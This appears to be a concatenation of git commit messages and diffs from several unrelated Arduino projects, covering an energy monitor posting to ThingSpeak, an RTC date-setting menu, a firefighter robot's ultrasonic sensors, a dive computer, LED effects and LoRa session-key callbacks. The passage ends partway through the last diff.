Fixed merge

Fixed merge

--- examples/ATM90E26_Full_App/ATM90E26_Full_App.ino
+++ examples/ATM90E26_Full_App/ATM90E26_Full_App.ino
@@ -1,4 +1,3 @@
-<<<<<<< HEAD
 /*
  *  This sketch sends ATM90E26 Energy Monitor data via HTTP POST request to thingspeak server.
  *  It needs the following libraries to work (besides the esp8266 standard libraries supplied with the IDE):
@@ -30,11 +29,6 @@

 #include <Wire.h>
 #include <energyic_SPI.h>
-=======
-#include <Wire.h>
-#include <energyic_UART.h>
-
->>>>>>> UART

 #include <Adafruit_GFX.h>
 #include <Adafruit_SSD1306.h>
@@ -52,8 +46,7 @@
 #include <avr/pgmspace.h>
 #endif

-<<<<<<< HEAD
-const char* server = "api.thingspeak.com";
+char server[50] = "api.thingspeak.com";
 // Sign up on thingspeak and get WRITE API KEY.
 char auth[36] = "THINGSPEAK_KEY";

@@ -96,7 +89,7 @@
         if (json.success()) {
           //Serial.println("\nparsed json");
           strcpy(auth, json["auth"]);
-
+		  strcpy(server, json["server"]);
         } else {
           //Serial.println("failed to load json config");
         }
@@ -116,7 +109,7 @@
     DynamicJsonBuffer jsonBuffer;
     JsonObject& json = jsonBuffer.createObject();
     json["auth"] = auth;
-
+	json["server"] = server;
     File configFile = SPIFFS.open("/config.json", "w");
     if (!configFile) {
       //Serial.println("failed to open config file for writing");
@@ -132,12 +125,6 @@
 void setup() {
   Serial.begin(115200);

-=======
-void setup() {
-  Serial.begin(115200);
-  Serial.print("Start ATM90");
-  InitEnergyIC();
->>>>>>> UART
   Wire.begin();

   display.begin(SSD1306_SWITCHCAPVCC, 0x3C);  // initialize with the I2C addr 0x3C (for the 128x32)
@@ -149,7 +136,6 @@
   display.display();
   display.setTextSize(1);
   display.setTextColor(WHITE);
-<<<<<<< HEAD

   //Read previous config
   readTSConfig();
@@ -158,6 +144,7 @@
   // After connecting, parameter.getValue() will get you the configured value
   // id/name placeholder/prompt default length
   WiFiManagerParameter custom_ts_token("ts", "Thingspeak Key", auth, 33);
+  WiFiManagerParameter custom_server("serv", "Server", server, 50);

   //Use wifi manager to get config
   WiFiManager wifiManager;
@@ -168,6 +155,7 @@

   //add all your parameters here
   wifiManager.addParameter(&custom_ts_token);
+  wifiManager.addParameter(&custom_server);

   display.setCursor(0,0);
   display.println("Connecting to Wifi ");
@@ -179,11 +167,14 @@
   Serial.println("connected...yeey :)");
   Serial.print("Key:");
   Serial.println(auth);
+  Serial.print("Server:");
+  Serial.println(server);
   display.println("Wifi Connected!!");
   display.display();

   //read updated parameters
   strcpy(auth, custom_ts_token.getValue());
+  strcpy(server, custom_server.getValue());

   saveTSConfig();

@@ -191,14 +182,11 @@
   eic1.InitEnergyIC();
   eic2.InitEnergyIC();

-=======
->>>>>>> UART
   delay(1000);
 }

 void loop() {
   /*Repeatedly fetch some values from the ATM90E26 */
-<<<<<<< HEAD
   unsigned short s_status = eic1.GetSysStatus();
   if(s_status == 0xFFFF)
   {
@@ -208,9 +196,6 @@
   #endif
   }
   s_status = eic2.GetSysStatus();
-=======
-  unsigned short s_status = GetSysStatus();
->>>>>>> UART
   if(s_status == 0xFFFF)
   {
   #if defined(ESP8266)
@@ -218,7 +203,6 @@
     ESP.restart();
   #endif
   }
-<<<<<<< HEAD

   float Vrms1 = eic1.GetLineVoltage();
   float Crms1 = eic1.GetLineCurrent();
@@ -254,7 +238,7 @@
            postStr += String(Crms1);
            postStr +="&field4=";
            postStr += String(powerFactor1);
-		       postStr +="&field5=";
+		   postStr +="&field5=";
            postStr += String(Vrms2);
            postStr +="&field6=";
            postStr += String(realPower2);
@@ -275,25 +259,10 @@
      client.print(postStr);
   }
   client.stop();
-=======
-  float Vrms = GetLineVoltage();
-  float Crms = GetLineCurrent();
-  float realPower = GetActivePower();
-  float powerFactor = GetPowerFactor();
-
-  Serial.print(realPower);
-  Serial.print(",");
-  Serial.print(Crms);
-  Serial.print(",");
-  Serial.print(Vrms);
-  Serial.print(",");
-  Serial.println(powerFactor);
->>>>>>> UART

   display.clearDisplay();
   display.setCursor(0,0);
   display.print("Vrms: ");
-<<<<<<< HEAD
   display.print(Vrms1);
   display.print(",");
   display.println(Vrms2);
@@ -312,24 +281,10 @@

   display.display();

-  delay(1000);
+  delay(2000);
   //Clear display to prevent burn in
   display.clearDisplay();
   display.display();

-  delay(15000);
-}
-=======
-  display.println(Vrms);
-  display.print("Irms: ");
-  display.println(Crms);
-  display.print("Power: ");
-  display.println(realPower);
-  display.print("p.f.: ");
-  display.println(powerFactor);
-
-  display.display();
-
-  delay(10);
-}
->>>>>>> UART
+  delay(14000);
+}


Added date and time settings.

Added date and time settings.

--- Alicorn.ino
+++ Alicorn.ino
@@ -106,8 +106,7 @@
 #define SCREEN_SETT_INT_PULL         7
 #define SCREEN_SETT_INT_SYNC         8
 #define SCREEN_SETT_WIFI             9
-#define SCREEN_SETT_TIME             10
-
+#define SCREEN_SETT_DATETIME         10

 // Intervals
 #define INTERVAL_CYCLE  100
@@ -141,6 +140,13 @@
 // RTC
 RtcDS3231<TwoWire> rtc(Wire);
 RtcDateTime now;
+
+#define DATETIME_HOURS   0
+#define DATETIME_MINUTES 1
+#define DATETIME_SECONDS 2
+#define DATETIME_YEAR    3
+#define DATETIME_MONTH   4
+#define DATETIME_DAY     5

 // Geiger
 #define DOSE_MULTI 0.0057
@@ -203,6 +209,7 @@
     bool alarm;
     bool alarmOn;
     bool pushSync;
+    int  datePage;
     int  wifi;
 } states;

@@ -492,6 +499,7 @@
     states.screenSettings = false;
     states.alarm          = false;
     states.alarmOn        = false;
+    states.datePage       = 0;
     states.wifi           = settings.wifi;
 }

@@ -696,6 +704,17 @@
                             // Serial.println("Settings pressed, now set to " + String(states.screenSettings));
                         }
                         break;
+
+                    case IR_DATETIME:
+                        if (settings.lcdBacklight && states.screenSettings && settings.screenSett == SCREEN_SETT_DATETIME) {
+                            if (states.datePage >= 5)
+                                states.datePage = 0;
+                            else
+                                states.datePage++;
+                            resetLCD();
+                        }
+                        break;
+

                     case IR_PREV:     screenPrev();    break;
                     case IR_NEXT:     screenNext();    break;
@@ -897,12 +916,43 @@
                     );
                     break;
                 }
-                case SCREEN_SETT_TIME:
-                    drawScreen(
-                        "> Date and Time",
-                        ""
+                case SCREEN_SETT_DATETIME: {
+                    String title = "> Date and Time";
+                    String value = "";
+                    char shortString[3];
+                    char longString[5];
+                    switch (states.datePage) {
+                        case DATETIME_HOURS:
+                            snprintf_P(shortString, 3, PSTR("%02u"), now.Hour());
+                            value = "Hours:   " + String(shortString);
+                            break;
+                        case DATETIME_MINUTES:
+                            snprintf_P(shortString, 3, PSTR("%02u"), now.Minute());
+                            value = "Minutes: " + String(shortString);
+                            break;
+                        case DATETIME_SECONDS:
+                            snprintf_P(shortString, 3, PSTR("%02u"), now.Second());
+                            value = "Seconds: " + String(shortString);
+                            break;
+                        case DATETIME_YEAR:
+                            snprintf_P(longString, 5, PSTR("%02u"), now.Year());
+                            value = "Year:    " + String(longString);
+                            break;
+                        case DATETIME_MONTH:
+                            snprintf_P(shortString, 3, PSTR("%02u"), now.Month());
+                            value = "Month:   " + String(shortString);
+                            break;
+                        case DATETIME_DAY:
+                            snprintf_P(shortString, 3, PSTR("%02u"), now.Day());
+                            value = "Day:     " + String(shortString);
+                            break;
+                    }
+                    drawScreen(
+                        title,
+                        value
                     );
                     break;
+                }
             }
         }
         else {
@@ -983,7 +1033,7 @@
                         wifi
                     );
                     break;
-                }
+                }
             }
         }
     }
@@ -1190,7 +1240,38 @@
                 else
                     settings.wifi--;
                 process = true;
-                break;
+                break;
+            case SCREEN_SETT_DATETIME: {
+                RtcDateTime newTime;
+                switch (states.datePage) {
+                    case DATETIME_HOURS:
+                        newTime = now - 1 * 60 * 60;
+                        break;
+                    case DATETIME_MINUTES:
+                        newTime = now - 1 * 60;
+                        break;
+                    case DATETIME_SECONDS:
+                        newTime = now - 1;
+                        break;
+                    case DATETIME_YEAR:
+                        if (now.Year() > 1970)
+                            newTime = RtcDateTime(now.Year() - 1, now.Month(), now.Day(), now.Hour(), now.Minute(), now.Second());
+                        break;
+                    case DATETIME_MONTH:
+                        if (now.Month() > 1)
+                            newTime = RtcDateTime(now.Year(), now.Month() - 1, now.Day(), now.Hour(), now.Minute(), now.Second());
+                        else
+                            newTime = RtcDateTime(now.Year() - 1, 12, now.Day(), now.Hour(), now.Minute(), now.Second());
+                        break;
+                    case DATETIME_DAY:
+                        newTime = now - 1 * 60 * 60 * 24;
+                        break;
+                }
+                rtc.SetDateTime(newTime);
+                now = rtc.GetDateTime();
+                resetLCD();
+                break;
+            }
         }
         if (process) {
             resetLCD();
@@ -1258,7 +1339,38 @@
                 else
                     settings.wifi++;
                 process = true;
-                break;
+                break;
+            case SCREEN_SETT_DATETIME: {
+                RtcDateTime newTime;
+                switch (states.datePage) {
+                    case DATETIME_HOURS:
+                        newTime = now + 1 * 60 * 60;
+                        break;
+                    case DATETIME_MINUTES:
+                        newTime = now + 1 * 60;
+                        break;
+                    case DATETIME_SECONDS:
+                        newTime = now + 1;
+                        break;
+                    case DATETIME_YEAR:
+                        if (now.Year() < 2100)
+                            newTime = RtcDateTime(now.Year() + 1, now.Month(), now.Day(), now.Hour(), now.Minute(), now.Second());
+                        break;
+                    case DATETIME_MONTH:
+                        if (now.Month() < 12)
+                            newTime = RtcDateTime(now.Year(), now.Month() + 1, now.Day(), now.Hour(), now.Minute(), now.Second());
+                        else
+                            newTime = RtcDateTime(now.Year() + 1, 1, now.Day(), now.Hour(), now.Minute(), now.Second());
+                        break;
+                    case DATETIME_DAY:
+                        newTime = now + 1 * 60 * 60 * 24;
+                        break;
+                }
+                rtc.SetDateTime(newTime);
+                now = rtc.GetDateTime();
+                resetLCD();
+                break;
+            }
         }
         if (process) {
             resetLCD();


Added all five ultrasonic sensors

Added all five ultrasonic sensors

Pins 30-39 on Arduino

--- 2018-Firefighter/2018-Firefighter.ino
+++ 2018-Firefighter/2018-Firefighter.ino
@@ -14,12 +14,17 @@
 #define CAMERA 15
 #define CAMERA_LED 16

-#define FRONT_US_ECHO   2
-#define FRONT_US_TRIG   3
-#define LEFT_US_ECHO   18
-#define LEFT_US_TRIG   19
-#define RIGHT_US_ECHO  20
-#define RIGHT_US_TRIG 21
+//Ultrasonic Trigger and Echo pins (30-39)
+#define F_L_ECHO  30  //Front-left Ultrasonic
+#define F_L_TRIG  31
+#define F_R_ECHO  32  //Front-right Ultrasonic
+#define F_R_TRIG  33
+#define R_ECHO  34  //Right Ultrasonic
+#define R_TRIG  35
+#define B_ECHO  36  //Back Ultrasonic
+#define B_TRIG  37
+#define L_ECHO  38  //Left Ultrasonic
+#define L_TRIG  39

 // Bounds for start sound frequency:
 #define LOW_START 3306
@@ -29,9 +34,11 @@
 Servo rightServo;
 Servo extinguisher;

-Ultrasonic frontUltrasonic(FRONT_US_ECHO, FRONT_US_TRIG, true);
-Ultrasonic leftUltrasonic(LEFT_US_ECHO, LEFT_US_TRIG, true);
-Ultrasonic rightUltrasonic(RIGHT_US_ECHO, RIGHT_US_TRIG, true);
+Ultrasonic frontLeftUltrasonic(F_L_ECHO, F_L_TRIG, true);
+Ultrasonic frontRightUltrasonic(F_R_ECHO, F_R_TRIG, true);
+Ultrasonic leftUltrasonic(L_ECHO, L_TRIG, true);
+Ultrasonic rightUltrasonic(R_ECHO, R_TRIG, true);
+Ultrasonic backUltrasonic(B_ECHO, B_TRIG, true);

 bool checkingMicrophone = true;
 bool hearingStartSound = false;
@@ -86,7 +93,7 @@
      digitalWrite(FLAME_LED, LOW);
      }

-    if (frontUltrasonic.getDistance() > 3) {
+    if (frontLeftUltrasonic.getDistance() > 3) {
       moveForward();
     } else {
       stopRobot();
@@ -125,15 +132,15 @@
 }

 void mazeNav() { //MOVE MY MINION
-  if(frontUltrasonic.getDistance() < 2 && leftUltrasonic.getDistance() < 2){ //robot has wall in front and to left
+  if(frontLeftUltrasonic.getDistance() < 2 && leftUltrasonic.getDistance() < 2){ //robot has wall in front and to left
     moveRight();
     delay(500);
   }
-  else if(frontUltrasonic.getDistance() < 2 && leftUltrasonic.getDistance() >= 2){ //robot has wall in front
+  else if(frontLeftUltrasonic.getDistance() < 2 && leftUltrasonic.getDistance() >= 2){ //robot has wall in front
     moveLeft();
     delay(500);
   }
-  else{ //if(frontUltrasonic.getDistance() >=2 && leftUltrasonic.getDistance() <2), or if (frontUltrasonic.getDistance() >= 2 && leftUltrasonic.getDistance() >= 2): hug the left wall
+  else{ //if(frontLeftUltrasonic.getDistance() >=2 && leftUltrasonic.getDistance() <2), or if (frontLeftUltrasonic.getDistance() >= 2 && leftUltrasonic.getDistance() >= 2): hug the left wall
     moveForward();
     delay(500);
   }


less logging

less logging

--- Console.ino
+++ Console.ino
@@ -6,8 +6,8 @@
   char *line;

   if ((line = con_readLine.feed(&Serial))) {
-    Serial.print("CON> ");
-    Serial.print(line);
+//    Serial.print("CON> ");
+//    Serial.print(line);
     if (0 == strcmp("setup", line)) {
       bt_moduleSetup();
     } else if (0 == strcmp("visible", line)) {
@@ -33,9 +33,9 @@
 #endif
     } else {
       return;
-      Serial.println(" ERROR");
+//      Serial.println(" ERROR");
     }
-    Serial.println(" OK");
+//    Serial.println(" OK");
   }
 }


Dive duration calculation starts 1.2 meter below the surface.

--- DiveIno.ino
+++ DiveIno.ino
@@ -151,7 +151,6 @@
 	Wire.begin();         //Start the I2C interface
 	irrecv.enableIRIn();  //Start the Infrared Receiver

-	//TODO Find out when these should be called
     batteryMonitor.reset();
     batteryMonitor.quickStart();

@@ -205,6 +204,21 @@
 //////////
 // Dive //
 //////////
+
+void calculateMinMaxValues(float depthInMeter, float temperatureInCelsius)
+{
+	//Calculate minimum and maximum values during the dive
+	if (maxDepthInMeter < depthInMeter) {
+		maxDepthInMeter = depthInMeter;
+		view.drawMaximumDepth(maxDepthInMeter);
+	}
+	if (maxTemperatureInCelsius < temperatureInCelsius) {
+		maxTemperatureInCelsius = temperatureInCelsius;
+	}
+	if (minTemperatureInCelsius > temperatureInCelsius) {
+		minTemperatureInCelsius = temperatureInCelsius;
+	}
+}

 void diveSurface()
 {
@@ -215,34 +229,14 @@
 		diveDurationInSeconds = Serial.parseInt();
 		float temperatureInCelsius = Serial.parseFloat();

-		if (testModeSetting) {
-			Serial.print("Pressure: ");
-			Serial.print(pressureInMillibar, 2);
-			Serial.print(" Depth: ");
-			Serial.print(depthInMeter, 2);
-			Serial.print(" Temperature: ");
-			Serial.print(temperatureInCelsius, 2);
-			Serial.print(" Duration: ");
-			Serial.println(diveDurationInSeconds);
-		}
-		view.drawBatteryStateOfCharge(batterySoc);
-
 		view.drawCurrentPressure(pressureInMillibar);
 		view.drawDepth(depthInMeter);
 		view.drawCurrentTemperature(temperatureInCelsius);
 		view.drawDiveDuration(diveDurationInSeconds);

-		//Calculate minimum and maximum values during the dive
-		if (maxDepthInMeter < depthInMeter) {
-			maxDepthInMeter = depthInMeter;
-			view.drawMaximumDepth(maxDepthInMeter);
-		}
-		if (maxTemperatureInCelsius < temperatureInCelsius) {
-			maxTemperatureInCelsius = temperatureInCelsius;
-		}
-		if (minTemperatureInCelsius > temperatureInCelsius) {
-			minTemperatureInCelsius = temperatureInCelsius;
-		}
+		view.drawBatteryStateOfCharge(batterySoc);
+
+		calculateMinMaxValues(depthInMeter, temperatureInCelsius);

 		switch (currentScreen) {
 			case GAUGE_SCREEN: {
@@ -272,8 +266,6 @@

 void diveUnderWater() // Called in every second on the GAUGE and DIVE screens
 {
-	diveDurationInSeconds++;
-
 	view.drawBatteryStateOfCharge(batterySoc);

 	float pressureInMillibar = sensor.getPressure(ADC_4096);
@@ -288,33 +280,30 @@
 	view.drawCurrentTemperature(temperatureInCelsius);
 	view.drawCurrentPressure(pressureInMillibar);
 	view.drawDepth(depthInMeter);
-	view.drawDiveDuration(diveDurationInSeconds);
-
-	//Calculate minimum and maximum values during the dive
-	if (maxDepthInMeter < depthInMeter) {
-		maxDepthInMeter = depthInMeter;
-		view.drawMaximumDepth(maxDepthInMeter);
-	}
-	if (maxTemperatureInCelsius < temperatureInCelsius) {
-		maxTemperatureInCelsius = temperatureInCelsius;
-	}
-	if (minTemperatureInCelsius > temperatureInCelsius) {
-		minTemperatureInCelsius = temperatureInCelsius;
-	}
+
+	calculateMinMaxValues(depthInMeter, temperatureInCelsius);

 	switch (currentScreen) {
 		case GAUGE_SCREEN: {
 			//Instead of dive information we will display the current time
 			view.drawCurrentTime(getCurrentTimeText());
+
+			diveDurationInSeconds++;
+			view.drawDiveDuration(diveDurationInSeconds);
 		}
 		break;
 		case DIVE_SCREEN: {
-
-			//The timer fires in every second
-			calculateSafetyStop(maxDepthInMeter, depthInMeter, 1);
-
-			//Progress with the algorithm in every second
-			diveProgress(temperatureInCelsius, pressureInMillibar, depthInMeter, diveDurationInSeconds);
+			//Progress with the dive, if we are deeper than 1.2 meter
+			if (pressureInMillibar > (seaLevelPressureSetting + 120) || diveDurationInSeconds > 60) {
+				diveDurationInSeconds++;
+				view.drawDiveDuration(diveDurationInSeconds);
+
+				//The timer fires in every second
+				calculateSafetyStop(maxDepthInMeter, depthInMeter, 1);
+
+				//Progress with the algorithm in every second
+				diveProgress(temperatureInCelsius, pressureInMillibar, depthInMeter, diveDurationInSeconds);
+			}
 		}
 		break;
 	}
@@ -398,6 +387,8 @@

 	if (currentScreen == DIVE_SCREEN) {

+		Serial.println("DIVE - Started");
+
 		//Start dive profile logging - create a new file
 		if (maximumProfileNumber <= 0) {
 			maximumProfileNumber = logbook.loadLogbookData()->numberOfStoredProfiles;
@@ -420,6 +411,8 @@
 void stopDive()
 {
 	diveDurationTimer.disable(diveDurationTimer.RUN_FOREVER);
+
+	Serial.println("DIVE - Stopped");
 }

 void diveProgress(float temperatureInCelsius, float pressureInMillibar, float depthInMeter, unsigned int durationInSeconds) {
@@ -435,10 +428,12 @@
 	//Store the current dive data in the dive profile
 	logbook.storeProfileItem(profileFile, pressureInMillibar, depthInMeter, temperatureInCelsius, durationInSeconds);

-	if (seaLevelPressureSetting >= pressureInMillibar) {
-		if (testModeSetting) {
-			Serial.println("STOP");
-		}
+	//Finish the dive in about 1 m deep
+	if ((seaLevelPressureSetting + 100) > pressureInMillibar) {
+
+		Serial.println("DIVE - Finished");
+
+		diveDurationTimer.disable(diveDurationTimer.RUN_FOREVER);

 		previousDiveResult = diveDeco.stopDive();


Update ProbeCube_v0.95.ino

Update ProbeCube_v0.95.ino

--- Code/ProbeCube_v0.95.ino
+++ Code/ProbeCube_v0.95.ino
@@ -57,7 +57,7 @@
   //指定通訊視窗9600
   Serial.begin(9600);

-  Serial.println("ProbePot is starting v0.95");
+  Serial.println("ProbeCube is starting v0.95");

   //LED們初始化
   pinMode(red_led,OUTPUT);


LED出力の設定忘れ

LED出力の設定忘れ

--- 2_example/example09c_hum/example09c_hum.ino
+++ 2_example/example09c_hum/example09c_hum.ino
@@ -1,75 +1,76 @@
-/*******************************************************************************
-Example 09c: 湿度センサ HDC1000 [Ambient対応版]
-                                            Copyright (c) 2016 Wataru KUNINO
-********************************************************************************
-本サンプルで使用するクラウドサービスAmbient用の設定の確認
-http://ambidata.io/ch/channels.html
-*******************************************************************************/
-
-#include <ESP8266WiFi.h>                    // ESP8266用ライブラリ
-#include <WiFiUdp.h>                        // UDP通信を行うライブラリ
-#include "Ambient.h"                        // Ambient用のライブラリの組み込み
-#define PIN_LED 13                          // IO 13(5番ピン)にLEDを接続する
-#define SSID "1234ABCD"                     // 無線LANアクセスポイントのSSID
-#define PASS "password"                     // パスワード
-#define AmbientChannelId 100                // チャネルID(整数)
-#define AmbientWriteKey "0123456789abcdef"  // ライトキー(16桁の16進数)
-#define SENDTO "192.168.0.255"              // 送信先のIPアドレス
-#define PORT 1024                           // 送信のポート番号
-#define SLEEP_P 29*60*1000000               // スリープ時間 29分(uint32_t)
-#define DEVICE "humid_1,"                   // デバイス名(5文字+"_"+番号+",")
-Ambient ambient;
-WiFiClient client;
-
-void setup(){                               // 起動時に一度だけ実行する関数
-    int waiting=0;                          // アクセスポイント接続待ち用
-    hdcSetup();                             // 湿度センサの初期化
-    Serial.begin(9600);                     // 動作確認のためのシリアル出力開始
-    Serial.println("Example 09C HUM->Amb"); // 「Example 09」をシリアル出力表示
-    WiFi.mode(WIFI_STA);                    // 無線LANをSTAモードに設定
-    WiFi.begin(SSID,PASS);                  // 無線LANアクセスポイントへ接続
-    while(WiFi.status() != WL_CONNECTED){   // 接続に成功するまで待つ
-        delay(100);                         // 待ち時間処理
-        waiting++;                          // 待ち時間カウンタを1加算する
-        if(waiting%10==0)Serial.print('.'); // 進捗表示
-        if(waiting > 300) sleep();          // 300回(30秒)を過ぎたらスリープ
-    }
-    Serial.println(WiFi.localIP());         // 本機のIPアドレスをシリアル出力
-    ambient.begin(AmbientChannelId, AmbientWriteKey, &client);  // Ambient開始
-}
-
-void loop(){
-    WiFiUDP udp;                            // UDP通信用のインスタンスを定義
-    float temp,hum;                         // センサ用の浮動小数点数型変数
-    char s[6];
-
-    digitalWrite(PIN_LED,HIGH);             // LEDの点灯
-    temp=getTemp();                         // 温度を取得して変数tempに代入
-    hum =getHum();                          // 湿度を取得して変数humに代入
-    if( temp>-100. && hum>=0.){             // 適切な値の時
-        udp.beginPacket(SENDTO, PORT);      // UDP送信先を設定
-        udp.print(DEVICE);                  // デバイス名を送信
-        udp.print(temp,1);                  // 変数tempの値を送信
-        Serial.print(temp,2);               // シリアル出力表示
-        udp.print(", ");                    // 「,」カンマを送信
-        Serial.print(", ");                 // シリアル出力表示
-        udp.println(hum,1);                 // 変数humの値を送信
-        Serial.println(hum,2);              // シリアル出力表示
-        udp.endPacket();                    // UDP送信の終了(実際に送信する)
-        /* クラウドへ */
-        dtostrf(temp,5,2,s);                // 温度を文字列に変換
-        ambient.set(1,s);                   // Ambient(データ1)へ温度を送信
-        dtostrf(hum,5,2,s);                 // 湿度を文字列に変換
-        ambient.set(2,s);                   // Ambient(データ2)へ湿度を送信
-        ambient.send();                     // Ambient送信の終了(実際に送信する)
-    }
-    sleep();
-}
-
-void sleep(){
-    delay(200);                             // 送信待ち時間
-    ESP.deepSleep(SLEEP_P,WAKE_RF_DEFAULT); // スリープモードへ移行する
-    while(1){                               // 繰り返し処理
-        delay(100);                         // 100msの待ち時間処理
-    }                                       // 繰り返し中にスリープへ移行
-}
+/*******************************************************************************
+Example 09c: 湿度センサ HDC1000 [Ambient対応版]
+                                            Copyright (c) 2016 Wataru KUNINO
+********************************************************************************
+本サンプルで使用するクラウドサービスAmbient用の設定の確認
+http://ambidata.io/ch/channels.html
+*******************************************************************************/
+
+#include <ESP8266WiFi.h>                    // ESP8266用ライブラリ
+#include <WiFiUdp.h>                        // UDP通信を行うライブラリ
+#include "Ambient.h"                        // Ambient用のライブラリの組み込み
+#define PIN_LED 13                          // IO 13(5番ピン)にLEDを接続する
+#define SSID "1234ABCD"                     // 無線LANアクセスポイントのSSID
+#define PASS "password"                     // パスワード
+#define AmbientChannelId 100                // チャネルID(整数)
+#define AmbientWriteKey "0123456789abcdef"  // ライトキー(16桁の16進数)
+#define SENDTO "192.168.0.255"              // 送信先のIPアドレス
+#define PORT 1024                           // 送信のポート番号
+#define SLEEP_P 29*60*1000000               // スリープ時間 29分(uint32_t)
+#define DEVICE "humid_1,"                   // デバイス名(5文字+"_"+番号+",")
+Ambient ambient;
+WiFiClient client;
+
+void setup(){                               // 起動時に一度だけ実行する関数
+    int waiting=0;                          // アクセスポイント接続待ち用
+    pinMode(PIN_LED,OUTPUT);                // LED用ポートを出力に
+    digitalWrite(PIN_LED,HIGH);             // LEDの点灯
+    hdcSetup();                             // 湿度センサの初期化
+    Serial.begin(9600);                     // 動作確認のためのシリアル出力開始
+    Serial.println("Example 09C HUM->Amb"); // 「Example 09」をシリアル出力表示
+    WiFi.mode(WIFI_STA);                    // 無線LANをSTAモードに設定
+    WiFi.begin(SSID,PASS);                  // 無線LANアクセスポイントへ接続
+    while(WiFi.status() != WL_CONNECTED){   // 接続に成功するまで待つ
+        delay(100);                         // 待ち時間処理
+        waiting++;                          // 待ち時間カウンタを1加算する
+        if(waiting%10==0)Serial.print('.'); // 進捗表示
+        if(waiting > 300) sleep();          // 300回(30秒)を過ぎたらスリープ
+    }
+    Serial.println(WiFi.localIP());         // 本機のIPアドレスをシリアル出力
+    ambient.begin(AmbientChannelId, AmbientWriteKey, &client);  // Ambient開始
+}
+
+void loop(){
+    WiFiUDP udp;                            // UDP通信用のインスタンスを定義
+    float temp,hum;                         // センサ用の浮動小数点数型変数
+    char s[6];
+
+    temp=getTemp();                         // 温度を取得して変数tempに代入
+    hum =getHum();                          // 湿度を取得して変数humに代入
+    if( temp>-100. && hum>=0.){             // 適切な値の時
+        udp.beginPacket(SENDTO, PORT);      // UDP送信先を設定
+        udp.print(DEVICE);                  // デバイス名を送信
+        udp.print(temp,1);                  // 変数tempの値を送信
+        Serial.print(temp,2);               // シリアル出力表示
+        udp.print(", ");                    // 「,」カンマを送信
+        Serial.print(", ");                 // シリアル出力表示
+        udp.println(hum,1);                 // 変数humの値を送信
+        Serial.println(hum,2);              // シリアル出力表示
+        udp.endPacket();                    // UDP送信の終了(実際に送信する)
+        /* クラウドへ */
+        dtostrf(temp,5,2,s);                // 温度を文字列に変換
+        ambient.set(1,s);                   // Ambient(データ1)へ温度を送信
+        dtostrf(hum,5,2,s);                 // 湿度を文字列に変換
+        ambient.set(2,s);                   // Ambient(データ2)へ湿度を送信
+        ambient.send();                     // Ambient送信の終了(実際に送信する)
+    }
+    sleep();
+}
+
+void sleep(){
+    delay(200);                             // 送信待ち時間
+    ESP.deepSleep(SLEEP_P,WAKE_RF_DEFAULT); // スリープモードへ移行する
+    while(1){                               // 繰り返し処理
+        delay(100);                         // 100msの待ち時間処理
+    }                                       // 繰り返し中にスリープへ移行
+}


Update mqtt.ino

Update mqtt.ino


Tweak LED behavior

Tweak LED behavior

--- PushStart.ino
+++ PushStart.ino
@@ -35,7 +35,7 @@

 byte ledAmp = 0;
 byte ledShift = 0;
-int ledPeriod = 2000;
+int ledPeriod = 0;
 unsigned long fadeStart = 0;

 void setup() {
@@ -81,7 +81,7 @@
   digitalWrite(pinIG1, LOW);  // 2-4
   digitalWrite(pinIG2, LOW);  // 7-6
   digitalWrite(pinST2, LOW);  // 7-8
-  ledShift = 127; ledAmp = 128;
+  ledShift = 64; ledAmp = 64;
   ledPeriod = 2000; fadeStart = millis();
   Serial.println("Mode: accessory"); Serial.flush();
 }
@@ -92,7 +92,7 @@
   digitalWrite(pinIG1, HIGH); // 2-4
   digitalWrite(pinIG2, HIGH); // 7-6
   digitalWrite(pinST2, LOW);  // 7-8
-  ledShift = 0; ledAmp = 255;
+  ledShift = 32; ledAmp = 0;
   Serial.println("Mode: ignition on"); Serial.flush();
 }

@@ -102,8 +102,8 @@
   digitalWrite(pinIG1, HIGH); // 2-4
   digitalWrite(pinIG2, HIGH); // 7-6
   digitalWrite(pinST2, HIGH); // 7-8
-  ledShift = 127; ledAmp = 128;
-  ledPeriod = 250; fadeStart = millis();
+  ledShift = 128; ledAmp = 127;
+  ledPeriod = 500; fadeStart = millis();
   Serial.println("Mode: engine start"); Serial.flush();
 }

@@ -149,7 +149,7 @@
     ST();
   }

-  analogWrite(pinLed, ledShift + ledAmp * cos(2 * PI / ledPeriod * (millis() - fadeStart)));
+  analogWrite(pinLed, ledShift + ledAmp * -cos(2 * PI / ledPeriod * (millis() - fadeStart)));

   delay(50);


Reduced number of brightness steps to 5

Reduced number of brightness steps to 5

--- RGBShades.ino
+++ RGBShades.ino
@@ -94,7 +94,7 @@
   switch(buttonStatus(1)) {

     case BTNRELEASED: // button was pressed and released quickly
-      currentBrightness += 16; // increase the brightness (wraps to lowest)
+      currentBrightness += 51; // increase the brightness (wraps to lowest)
       FastLED.setBrightness(scale8(currentBrightness,MAXBRIGHTNESS));
     break;


Use some macros to reduce code noise

Use some macros to reduce code noise

--- MapTheThings-Arduino/MapTheThings-Arduino.ino
+++ MapTheThings-Arduino/MapTheThings-Arduino.ino
@@ -111,32 +111,83 @@
   enqueuePacket(data[0], data+1, len-1);
 }

-void assignDevAddrCallback(uint8_t data[], uint16_t len) {
-  debugLogData("assignDevAddr", data, len);
-  if (len==sizeof(settings.DevAddr)) {
-    memcpy(settings.DevAddr, data, sizeof(settings.DevAddr));
-    writeNVBytes(offset(settings, DevAddr), settings.DevAddr, sizeof(settings.DevAddr));
-    loraSetSessionKeys(settings.seq_no, settings.AppSKey, settings.NwkSKey, settings.DevAddr);
-  }
-}
-
-void assignNwkSKeyCallback(uint8_t data[], uint16_t len) {
-  debugLogData("assignNwkSKey", data, len);
-  if (len==sizeof(settings.NwkSKey)) {
-    memcpy(settings.NwkSKey, data, sizeof(settings.NwkSKey));
-    writeNVBytes(offset(settings, NwkSKey), settings.NwkSKey, sizeof(settings.NwkSKey));
-    loraSetSessionKeys(settings.seq_no, settings.AppSKey, settings.NwkSKey, settings.DevAddr);
-  }
-}
-
-void assignAppSKeyCallback(uint8_t data[], uint16_t len) {
-  debugLogData("assignAppSKey", data, len);
-  if (len==sizeof(settings.AppSKey)) {
-    memcpy(settings.AppSKey, data, sizeof(settings.AppSKey));
-    writeNVBytes(offset(settings, AppSKey), settings.AppSKey, sizeof(settings.AppSKey));
-    loraSetSessionKeys(settings.seq_no, settings.AppSKey, settings.NwkSKey, settings.DevAddr);
-  }
-}
+#define AssignSessionCallback(key) \
+void assign##key##Callback(uint8_t data[], uint16_t len) { \
+  debugLogData("assign" #key, data, len); \
+  if (len==sizeof(settings.key)) {        \
+    memcpy(settings.key, data, sizeof(settings.key)); \
+    writeNVBytes(offset(settings, key), settings.key, sizeof(settings.key)); \
